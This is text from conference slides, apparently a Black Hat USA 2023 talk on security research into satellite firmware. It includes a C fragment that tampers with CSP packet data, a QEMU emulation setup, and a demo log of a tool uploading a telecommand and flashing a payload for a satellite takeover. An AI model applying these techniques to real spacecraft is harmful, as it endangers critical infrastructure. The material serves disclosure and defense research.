frame->data[3] = (uint8_t)h32;
frame->data[0] = (uint8_t)(h32 >> 0x18);
frame->data[1] = (uint8_t)(h32 >> 0x10);
frame->data[2] = (uint8_t)(h32 >> 8);
csp_qfifo_write(i2c_rx_csp_packet, &csp_if_i2c, pxTaskWoken);
i2c_rx_csp_packet = (csp_packet_t *)frame;
*(uint *)frame->data = *(uint *)frame->data ^ 0xdeadbeef;
csp_qfifo_write(i2c_rx_csp_packet, &csp_if_i2c, pxTaskWoken);

Demo Setup

Emulation Overview

 

QEMU

 

 

AVR32

 

 

OBSW

 

 

Simulation Agent

 

 

Sensors

 

 

UHF

 

 

TC Handlers

 

Telecommand

Telemtry

TCP

TCP

Flight Manuvers

Sensor Values

AVR32-QEMU

404 - AVR32 Not Found

  • Florian Göhler
  • AVR32 in QEMU from Scratch
  • Blog:
    • How to add a new architecture to QEMU - Part 1-4

 

QEMU

 

 

AVR32

 

Live Demo

$> ./access-satellite.
[*] Uploading TC ...
[*] Deploying payload ...
[*] Payload written to flash ...
[*] Rebooting ...
[*] $$$

Lesson Learnt

Lessons Learnt

Firmware Attacks on Satellites are a thing

Common Sat Protocols lack Security

Security by Obscurity

Complex TC/TM Pipeline

Lessons Learnt

Uncovered Range of Vulnerabilities

Missing State-of-the-Art Defenses

Satellite Fuzzing Hurdles

Firmware Rehosting for Parallel Execution

Thanks!

  • Firmware Attacks on Satellite
  • Complex TC/TM Pipelines
  • Fuzzing Roadblocks & Improvements
  • Finding hard-to-spot Bugs with Fuzzing
  • Missing OS & SW-Defenses
  • Full Satellite Takeover

Johannes Willbold & Tobias Scharnowski

@jwillbold

> Houston, we have a Problem @ Black Hat USA '23, Las Vegas, USA

[Attribution] Icons: Colored Satellite: Space icons created by Freepik - Flaticon

@scepticctf